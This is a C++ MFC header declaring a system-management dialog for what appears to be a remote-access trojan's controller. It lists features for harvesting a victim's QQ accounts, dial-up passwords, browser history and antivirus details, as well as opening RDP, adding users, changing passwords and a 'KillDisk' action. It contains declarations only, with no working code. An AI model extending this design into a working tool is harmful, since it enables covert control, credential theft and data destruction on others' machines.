2024-06-23 17:36:53 +08:00

202 lines
5.0 KiB
C++

#if !defined(AFX_SYSTEMDLG_H__BCB8E53A_4673_471B_81DE_07D0D7E9C460__INCLUDED_)
#define AFX_SYSTEMDLG_H__BCB8E53A_4673_471B_81DE_07D0D7E9C460__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// SystemDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CSystemDlg dialog
#include "SEU_QQwry.h" // Added by ClassView
#include "SortListCtrl.h"
//信息列表结构体
struct tagSystemInfo
{
char szCpuInfo[50]; //CPU信息
char szActiveTime[100]; //活动时间
char szAntiVirus[50]; //杀毒软件
char szUserName[50]; //当前用户名
char szPcName[50]; //计算机名
char szRemotePort[10]; //远程端口
DWORD szMemory; //内存大小
DWORD szMemoryFree; //可用内存
DWORD szDriveSize; //硬盘大小
DWORD szDriveFreeSize; //可用硬盘大小
char szOpenInfo[50]; // 是否双开(是否开启)
char szDLLPath[MAX_PATH]; // 服务端路径
char szScrxy[20]; //分辨率
char szQQNum[100]; //当前QQ
char szQQNums[1024]; //历史QQ
int nAddres; //端口
char szAddress[50]; // ip
char szTime[128]; //空闲时间
bool bIsActive; //用户状态
char szLanguage[50]; //系统语言
};
struct tagSysstatus
{
int Mem;
int cpu;
DWORD Bandout;
DWORD Bandout_B;
int dwTime;
bool bIsActive;
};
class CSystemDlg : public CDialog
{
// Construction
public:
CSystemDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
void OnReceiveComplete();
CImageList *m_ImageList;
static void SetClipboardText(CString &Data);
// Dialog Data
//{{AFX_DATA(CSystemDlg)
enum { IDD = IDD_DIALOG_SYSTEM };
CSortListCtrl m_list;
CXTPTabCtrl m_tab;
CString m_admin;
//}}AFX_DATA
CXTPHeaderCtrl m_header;
CImageList m_ImgList;
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CSystemDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
CXTPStatusBar m_wndStatusBar;
CIniFile m_IniFile;
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString IPAddress;
UINT nRemotePort;
DWORD dwMem;
DWORD dwCpu;
DWORD dwPrs;
DWORD m_Bandout;
DWORD m_Bandout_B;
int m_dwTime;
bool m_bIsActive;
SEU_QQwry *m_QQwry;
// Generated message map functions
//{{AFX_MSG(CSystemDlg)
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMenuitemKillprocess();
afx_msg void KillprocessDel(BYTE Buffer ,char *strbuf);
afx_msg void OnMenuitemRefreshSlist();
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMenuitemCopy();
afx_msg void OnMenuitemWindowRestored();
afx_msg void OnMenuitemWindowHide();
afx_msg void OnMenuitemWindowClose();
afx_msg void OnMenuitemWindowMax();
afx_msg void OnMenuitemWindowMin();
afx_msg void OnMenuitemKillanddel();
afx_msg void OnTimer(UINT nIDEvent);
virtual void OnCancel();
afx_msg void OnMenuitemActiveUser();
afx_msg void OnMenuitemDisableUser();
afx_msg void OnMenuitemAddUser();
afx_msg void OnMenuitemChangePass();
afx_msg void OnMenuitemDelUser();
afx_msg void OnMenuitemDisconnectUser();
afx_msg void OnMenuitemLogoffUser();
afx_msg void OnButtonMstsc();
afx_msg void OnButtonChanageport();
afx_msg void OnButtonOpen3389();
afx_msg void OnMenuitemSLogoff();
afx_msg void OnMenuitemSReboot();
afx_msg void OnMenuitemSShutdown();
afx_msg void OnNetPreservations(); //保存修改
afx_msg void OnMenuitemRunurl();
afx_msg void OnMenuitemAppuninstall();
afx_msg void OnButtonKillDisk();
afx_msg void OnMenuProcessfreezing();
afx_msg void OnMenuProcessthwing();
afx_msg void OnMenuFileattr();
afx_msg void OnMenuBaidu();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
void ShowProcessList();
void ShowWindowsList();
void ShowDialupassList();
void ShowSoftWareList();
void GetProcessList();
void GetWindowsList();
void GetDialupassList();
void GetSoftWareList();
void GetSysInfoList();
void GetSysUserList();
void GetUserStateList();
void ShowSysInfoList();
void ShowSysUserList();
void ShowUserStateList();
void DeleteList();
void ShowSelectWindow();
void AdjustList();
void AddListIcon(); // 添加列表图标
void ShowRunList(); //显示启动项
void GetRunList(); //启动项
void ShowHostList(); //Host文件
void GetHostList(); //Host文件
void ShowNetWorkList(); // 网卡MAC地址
void GetNetWorkList(); // 网卡MAC地址
BOOL m_bOnClose;
void OnChangeUser(UINT uState);
void OnChangeUserState(UINT uState);
void SendTermsrv_t();
void ShowIEHistoryList();
void GetIEhistoryList();
void ShowFavoritesUrlList();
void GetFavoritesUrlList();
void ShowNetStateList();
void GetNetStateList();
void ShowFileAttr();//显示文件属性
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_SYSTEMDLG_H__BCB8E53A_4673_471B_81DE_07D0D7E9C460__INCLUDED_)